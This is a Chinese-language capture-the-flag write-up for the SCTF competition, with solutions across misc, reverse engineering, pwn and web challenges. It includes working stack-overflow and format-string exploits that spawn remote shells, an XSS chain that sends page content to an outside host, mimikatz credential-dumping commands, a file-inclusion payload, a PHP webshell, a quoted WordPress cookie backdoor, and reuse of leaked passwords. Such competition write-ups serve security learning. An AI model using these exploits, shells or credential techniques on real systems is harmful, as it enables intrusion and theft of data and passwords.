SCTF(三叶草CTF)作为XCTF联赛的成都分站赛,由三叶草安全技术小组负责组织。本次比赛采用线上解题形式,比赛冠军队伍直接入围XCTF联赛总决赛。
MISC部分
MISC10:
手持两把锟斤拷,口中疾呼烫烫烫
脚踏千朵屯屯屯,笑看万物锘锘锘。
程序员经典笑话不解释。
MISC100:
简单的贪吃蛇,吃到30分它就告诉你flag!但是要怎么控制它呢?IDA稍微看一下,发现是接受kill消息。Bash下做几个alias,W S A D,然后控制着玩儿就好了:


那串东西bash64解密就是flag。
MISC200:
A-Cup的妹子,你肯定看腻了。我们换一个C-cup。题目的做法没有改变,只是之前的题有另类解法,所以完善了题目。
tips:密钥即为文件名
一个图片,改成rar打开:


加密的,目测是伪加密,详见这篇文章:http://r4c00n.com/article/34/apk-zip.html。好压没办法修复,卸了装winrar修复然后改标志解压,mp3stego,前几天刚总结了一下某本书的隐写术:http://www.0x01f.com/blog/61。Decode就行了,密钥sctf:

找到端口和IP,一个游戏的端口。我不会玩,队友去搞了。据说是跟着一条细红线走过去就看到flag了。
MISC300:
内网攻击数据包分析
SMB包里找到hash和challange。
参考http://bbs.pediy.com/showthread.php?t=176189&highlight=SMB
下下来彩虹表,编译一个rcracki_mt出来,很快就跑出来前七位。

然后扔kali虚拟机里,秒破密码。

MISC400A:
这是捕获的黑客攻击数据包,LateRain用户的密码在此次攻击中泄露了,你能找到吗?
FLAG格式:SCTF{LateRain的明文密码},里面发现了一些HTTP包,都是菜刀的数据包。其中有一个返回包是下载了一个RAR

导出二进制内容,去掉头尾的菜刀添加的标志,写入一个文件,发现有密码。往前翻一下,这个请求的内容是打包,命令为:
cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]

解压出来,得到1.gif,是一个MDMP文件。
下到这个dump文件,然后上mimikatz64,两条命令:
sekurlsa::minidump 1.dmp sekurlsa::logonPasswords full
找到密码:

后面有几个空格,冲定位到txt里头复制出来就行了。
MISC400B:
别看妹子了,快做题。
Binwalk看一下:
root@kali:~/Desktop# binwalk 400b.PNG DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1000 x 562, 8-bit/color RGBA, non-interlaced 91 0x5B Zlib compressed data, compressed 3526 0xDC6 Zlib compressed data, best compression 1421307 0x15AFFB Zlib compressed data, default compression
后面是Zlib压缩的数据,写个脚本解压一下:
from PIL import Image
from zlib import *
data = open('400b.PNG','rb').read()[0x15AFFB:]
data = decompress(data)
img = Image.new('1', (25,25))
d = img.load()
for n,i in enumerate(data):
d[(n%25,n/25)] = int(i)*255
f = open('2.png','wb')
img.save(f)
得到一个二维码,但是不能访问:

PS变相之后就可以了 微信扫一扫,SCTF{(121.518549,25.040854)}
RE50
听说逆向都挺难的,这里有个简单的,快来秒~~~ :D
确实非常简单,输入的每个字符+3 = 文件中的某个字符串字符 就可以了:
flag = 'Jr3gFud6n' temp = '' for i in flag: temp = temp+chr(ord(i)-3) print temp
PWN部分
Pwn200:

这里可以输入17个字符,刚好把len_0x10覆盖,如果输入’syclover’ + ‘\x00’ + ‘abcdefg’ + ‘\xFF’,就可以满足条件的同时覆盖len_0x10为255,之后的buffer也可以覆盖。

然后就栈溢出。
首先覆盖返回地址,让它跳转到调用write “input name”的地方,参数可以自己构造,这样就可以输出任意函数的got。随后将第二个返回值覆盖成system地址,参数构造成/bin/sh,然后就得到shell。

这里选择read,根据libc里头的偏移,可以算出read和system的相对偏移:


代码:
from socket import *
from struct import *
import time
readOffset = 0x000de3a0
systOffset = 0x0003f430
param = '/bin/sh\x00' + 'ls home' + 'a'*5
s = socket(AF_INET, SOCK_STREAM)
s.connect(('218.2.197.248', 10001))
name = 'syclover'+ '\x00' + 'abcdefg' + '\xFF'
# input name:
print s.recv(1024)
s.send(name)
showReadGot = 'A'*156
showReadGot += pack('<I', 0x08049860)
showReadGot += pack('<I', 0x08048507)
showReadGot += pack('<I', 1)
showReadGot += pack('<I', 0x08049850)
showReadGot += pack('<I', 4)
# input slogan:
print s.recv(1024)
s.send(showReadGot)
read = s.recv(1024)[-4:]
syst = unpack('<I', read)[0] - readOffset + systOffset
print 'system: %x' % syst
exploit = param + pack('<I', syst)
s.send(exploit)
while True:
s.send(raw_input('$ ') + '\n')
time.sleep(0.5)
print s.recv(1024)
Pwn300:
printf格式化漏洞。

随意构造栈,并且能覆盖任意地址。Message部分代码是可执行的,写入shellcode即可。
from socket import *
from struct import *
from time import sleep
def doRecv():
buffer = ''
while True:
buffer += s.recv(1024)
if 'input' in buffer:
return buffer
s = socket(AF_INET, SOCK_STREAM)
s.connect(('218.2.197.248', 10002))
shellcode = "\x31\xc0\x50\x68\x2f\x61\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
nop = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
exploit = pack('<I', 0x08049108)+'%134517131x'+'%8x'*5+'%n' + nop + shellcode + nop + '\n'
print exploit
welcome = doRecv()
#print welcome
s.send('2\n')
welcome = doRecv()
print welcome
s.send(exploit)
welcome = doRecv()
print welcome
s.send('3\n')
welcome = doRecv()
s.send('4\n')
sleep(2)
while True:
s.send(raw_input('$ ') + '\n')
time.sleep(0.5)
print s.recv(2048)
Code200
迭代就可以了,奇数幂变成 奇数+1幂 - 奇数幂,重复的话就变成 奇数+1+1幂,然后又是同样的情况,最后肯定不可能重复,代码略长,懒得写到一个函数里了:
from socket import *
from struct import *
import string
from time import sleep
srv = socket(AF_INET, SOCK_STREAM)
srv.connect(('218.2.197.248', 10007))
b = srv.recv(4)
while True:
print b
b = string.atoi(b)
v = {}
c = {}
for i in range(100):
v[i] = 0
c[i] = 0
if b > 0:
k = 0
s =''
while b > 0:
if b % 2 == 1:
c[k] = 1
v[k] = 1
k += 1
b /= 2
while True:
out = True
for i in range(100):
if c[i] > 1:
c[i+1] += 1
c[i] -= 2
if ((i+1) % 2 == 1) and (c[i+1] == 1):
v[i+1] = 1
out = False
if (c[i] == 0) and (v[i] == 1):
v[i] = 0
if (i % 2 == 1) and (v[i] == 1):
v[i] = 0
c[i+1] += 1
out = False
if out:
break
for i in range(100):
if c[i] == 1:
s = str(i) + ' ' + s
print s
srv.send(s)
b = srv.recv(1024)
while len(b) == 0:
sleep(0.1)
b = srv.recv(1024)
if len(b) > 10:
print b
break
elif b < 0:
b = -b
k = 0
s = ''
while b > 0:
if b % 2 == 1:
c[k] = 1
v[k] = 1
k += 1
b /= 2
while True:
out = True
for i in range(100):
if c[i] > 1:
c[i+1] += 1
c[i] -= 2
if ((i+1) % 2 == 0) and (c[i+1] == 1):
v[i+1] = 1
out = False
if (c[i] == 0) and (v[i] == 1):
v[i] = 0
if (i % 2 == 0) and (v[i] == 1):
v[i] = 0
c[i+1] += 1
out = False
if out:
break
if out:
break
for i in range(100):
if c[i] == 1:
s = str(i) + ' ' + s
print s
srv.send(s)
b = srv.recv(1024)
while len(b) == 0:
sleep(0.1)
b = srv.recv(1024)
if len(b) > 10:
print b
break
WEB部分
PT100
PT100题进不去了,中间过程没法截图了……
看到后台,第一反映就是
/admin/
401,发现是IIS6,试了一圈以后发现::$INDEX_ALLOCATION/index.php可以破。
进去以后是个登录窗口,id输入框被disable了,这简直就是在告诉你问题就出在这了……
最后Payload:
/admin::$INDEX_ALLOCATION/index.php?id=%27%7C0%23&password=admin
PT200:
进去之后先查看源代码,发现一个这个:

看一下输出在哪。


试了几个标签,svg,img,script啥的都过滤了,iframe没过滤,但是on被过滤了,data也被过滤了,利用不了,利用一个Chrome里才能用的姿势:
<link ref=import href=//xxx.me>
xxx.me里的index.php这样写:
<?php
header('Access-Control-Allow-Origin: *');
?>
<script>
alert(1)
</script>
成功弹框。

用这个方法打到了后台地址。
http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/
但是直接访问是403,带上XFF头就变成了fuck you!,于是直接弹回来页面内容看一下。
弹回来的页面内容里发现了 flag.php?id= 这么一个链接,应该是要注入,直接访问跟之前一样,403或者fuck you!,于是通过XSS注入,把访问到的flag.php的内容弹回来。
自己的VPS上,index.php:
<?php
header('Access-Control-Allow-Origin: *');
?>
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","flag.php?id=<?php echo $_GET['p']; ?>", false);
xmlhttp.send();
var rep = xmlhttp.responseText;
<?php if ($_GET['u'] == 'f'){
echo 'xmlhttp.open("GET","http://xxx.me/1.php?a="+rep);';}?>
<?php if ($_GET['u'] == 'd'){echo 'xmlhttp.open("GET","http://xxx.me/2.php?a="+rep);';} ?>
xmlhttp.send();
</script>
u=f 和u=d分别是我和队友用,防止注入的时候互相干扰。
1.php:
<?php
file_put_contents('/var/www/html/res.html', $_REQUEST)
2.php类似,写入另一个文件。
这个时候我们犯了一个错误,本来这样写是为了方便,提交的时候改一下href就可以了,不用改index.php里的代码,但是这样一来 on data这些字符串就被XSS的过滤器给替换成 _ 了。
常用的报错姿势都被拦截了,后来实在想不出来招了,手工盲注,连注带蒙,大概两个小时吧,拿到flag,一开始大小写还搞错了,浪费了很多次提交机会。
PT300:
先去看robots.txt

直接访问当然不可能直接出来flag= =……

队友从idc.sycsec.com找到了源代码,有三个版本,通过
/assets/js/jquery-1.4.4.min.js
文件判断应该是1.0.8或者1.0.9版本。
现在我们需要的应该是一个任意文件读取/下载或者本地文件包含。
看一下HTTP头,

PHP版本5.5.0,%00截断没戏了。
找include,找到这个文件:
/assets/snippets/ajaxSearch/ajaxSearchPopup.php:
$config = parseUserConfig((strip_tags($_POST['ucfg'])));
// Load the custom functions of the custom configuration file if needed
if ($config) {
$lconfig = (substr($config, 0, 6) != "@FILE:") ? AS_PATH . "configs/$config.config.php" : $modx->config['base_path'] . trim(substr($config, 6, strlen($config)-6));
if (file_exists($lconfig)) include $lconfig;
else return "<h3>AjaxSearch error: " . $lconfig . " not found !<br />Check your config parameter or your config file name!</h3>";
}
这里可以包含任意文件不用截断,但是由于前面引用了全局常量, 在这个文件里没有定义,需要找到正确的入口文件。
/index-ajax.php。
if($axhandler = (strtoupper($_SERVER['REQUEST_METHOD'])=='GET') ? $_GET['q'] : $_POST['q']) {
$axhandler = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $axhandler);
$axhandler = realpath($axhandler) or die();
$directory = realpath(MODX_BASE_PATH.DIRECTORY_SEPARATOR.'/assets/snippets');
$axhandler = realpath($directory.str_replace($directory, '', $axhandler));
if($axhandler && (strtolower(substr($axhandler,-4))=='.php')) {
include_once($axhandler);
exit;
}
}
最终payload:
URL: http://modx.sycsec.com/index-ajax.php
POST;
q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&search=flag&action=setsetting&key=site_name&value=b&ucfg=%26config%3D%60%40FILE%3Aflag%2Fflag.txt%60
PT400:
Idc.sycsec.com 注入,联合查询,搞到数据库,在bug提交的地方提交Union all select 出来XSSpayload的URL,得到后台地址,登录进去之后上传,没过滤后缀名,过滤<? ,利用
<script language="php">eval($_POST[c]);</script>
拿到shell.


得到wp的代码,跟原版的4.0.1diff一下,发现一个代码执行的后门,在/wp-includes/resivion.php.
function wp_check_my_session(){
if(isset($_COOKIE[wp-ssesion])) {
$_check=($_COOKIE['wp-sesion'][0]^$_COOKIE['wp-sesion'][1]).($_COOKIE['wp-sesion'][1]^$_COOKIE['wp-sesion'][2]).($_COOKIE['wp-sesion'][3]^$_COOKIE['wp-sesion'][6]).($_COOKIE['wp-sesion'][3]^$_COOKIE['wp-sesion'][4]).($_COOKIE['wp-sesion'][2]^$_COOKIE['wp-sesion'][5]).($_COOKIE['wp-sesion'][5]^$_COOKIE['wp-sesion'][6]);
$_check($_COOKIE['wp-ssesion']);
}
else{
return 0;
}
这时候已经八点五十左右了,构造出来cookie之后还没来得及干什么时间就到了……
PT500:
CSDN裤子里查到了妹子SYC083的密码,在提交报告的地方注入得到了十几个用户,有两个能登录邮箱,发现VPN的地址和密码规律,遍历生日年份得到了SYC079的密码,访问文件服务器(10.24.13.37),卡了很久,也是快到时间的时候发现了/.svn/,没提前准备代理,手动脱没来得及脱多少就Game Over了……

[作者/hhx,本文属于FreeBuf.COM独家发布文章,未经许可禁止转载]